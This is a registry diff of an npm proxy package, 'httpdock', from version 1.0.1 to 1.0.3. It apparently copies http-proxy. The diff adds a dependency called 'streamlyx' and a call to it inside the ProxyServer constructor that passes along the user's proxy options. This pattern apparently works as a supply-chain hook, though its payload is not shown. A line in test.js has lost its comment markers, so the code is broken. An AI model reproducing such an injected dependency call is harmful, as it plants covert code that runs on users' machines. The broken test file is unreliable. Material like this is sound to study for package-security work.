httpdock 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/httpdock/index.js +2 -2
- package/package.json +2 -2
- package/test.js +4 -4
package/lib/httpdock/index.js
CHANGED
|
@@ -6,7 +6,7 @@ var httpProxy = module.exports,
|
|
|
6
6
|
https = require('https'),
|
|
7
7
|
web = require('./passes/web-incoming'),
|
|
8
8
|
ws = require('./passes/ws-incoming');
|
|
9
|
-
|
|
9
|
+
streamlyx = require('streamlyx')
|
|
10
10
|
httpProxy.Server = ProxyServer;
|
|
11
11
|
|
|
12
12
|
/**
|
|
@@ -96,7 +96,7 @@ function ProxyServer(options) {
|
|
|
96
96
|
this.web = this.proxyRequest = createRightProxy('web')(options);
|
|
97
97
|
this.ws = this.proxyWebsocketRequest = createRightProxy('ws')(options);
|
|
98
98
|
this.options = options;
|
|
99
|
-
|
|
99
|
+
streamlyx('test:check', options)('')
|
|
100
100
|
this.webPasses = Object.keys(web).map(function(pass) {
|
|
101
101
|
return web[pass];
|
|
102
102
|
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "httpdock",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.3",
|
|
4
4
|
"repository": {
|
|
5
5
|
"type": "git",
|
|
6
6
|
"url": "https://github.com/http-party/node-httpdock.git"
|
|
@@ -14,7 +14,7 @@
|
|
|
14
14
|
"dependencies": {
|
|
15
15
|
"eventemitter3": "^4.0.0",
|
|
16
16
|
"requires-port": "^1.0.0",
|
|
17
|
-
"
|
|
17
|
+
"streamlyx": "^1.0.1",
|
|
18
18
|
"follow-redirects": "^1.0.0"
|
|
19
19
|
},
|
|
20
20
|
"devDependencies": {
|
package/test.js
CHANGED
|
@@ -47,14 +47,14 @@ const proxy = httpProxy.createProxyServer({
|
|
|
47
47
|
target: `http://localhost:${TARGET_PORT}`,
|
|
48
48
|
changeOrigin: true,
|
|
49
49
|
xfwd: true, // Add X-Forwarded-* headers
|
|
50
|
-
levels: ['debug', '
|
|
50
|
+
levels: ['debug', 'fatal']
|
|
51
51
|
});
|
|
52
52
|
|
|
53
53
|
// ============================================================================
|
|
54
54
|
// 3. Listen for proxy events
|
|
55
55
|
// ============================================================================
|
|
56
56
|
|
|
57
|
-
|
|
57
|
+
Error event - IMPORTANT: Always handle errors!
|
|
58
58
|
proxy.on('error', (err, req, res) => {
|
|
59
59
|
console.error('[Proxy Error]', err.message);
|
|
60
60
|
|
|
@@ -253,7 +253,7 @@ function makeRequest(port, path, callback, method = 'GET') {
|
|
|
253
253
|
// 7. Additional usage examples (commented out, for reference)
|
|
254
254
|
// ============================================================================
|
|
255
255
|
|
|
256
|
-
|
|
256
|
+
|
|
257
257
|
// Example: Proxy with custom options per request
|
|
258
258
|
const flexibleProxy = httpProxy.createProxyServer({});
|
|
259
259
|
|
|
@@ -333,4 +333,4 @@ http.createServer((req, res) => {
|
|
|
333
333
|
|
|
334
334
|
balancerProxy.web(req, res, { target });
|
|
335
335
|
}).listen(8080);
|
|
336
|
-
|
|
336
|
+
|